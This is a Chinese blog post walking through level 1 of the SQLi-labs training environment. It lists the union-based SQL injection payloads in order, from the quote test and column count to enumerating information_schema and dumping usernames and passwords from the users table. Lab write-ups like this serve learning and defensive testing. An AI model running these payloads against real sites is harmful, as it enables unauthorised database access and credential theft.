WEB刷题记录

SQLI-labs第一关

SQLI-labs数据库类型为mysql

根据提示输入数字值的ID作为参数,我们输入?id=1

判断是否存在SQL注入:

分别输入?id=1    ?id=2

根据返回结果的不同判断出我们的参数是成功被带入语句查询的

判断sql语句是否是拼接,是字符型还是数字型。

输入?id=1'

根据提示将后面的limit进行注释

?id=1'--+

可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。

第一步:判断列数

?id=1'order by 3 --+     ?id=1'order by 4 --+

到四就出现出错,所以判断为3列

第二步:爆出显示位

?id=-1'union select 1,2,3--+

判断出显示位为2,3

第三步:查询数据库名字,版本

?id=-1'union select 1,database(),version()--+

名字为security、版本为8.0,存在information_schema数据库

第四步:查询表名

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

说明security数据库下存在四个表,其中user表可能存在用户信息

第五步:查询列名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+

说明存在该数据库中的user表存在三个字段

第六步:查询数据

这一步不再需要联合注入,因为通过最初的注入判断,我们可以知道我们当前查询的位置其实就是在security数据库中

?id=-1' union select 1,2,group_concat(username,id , password) from users--+

成功爆出用户名和密码

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇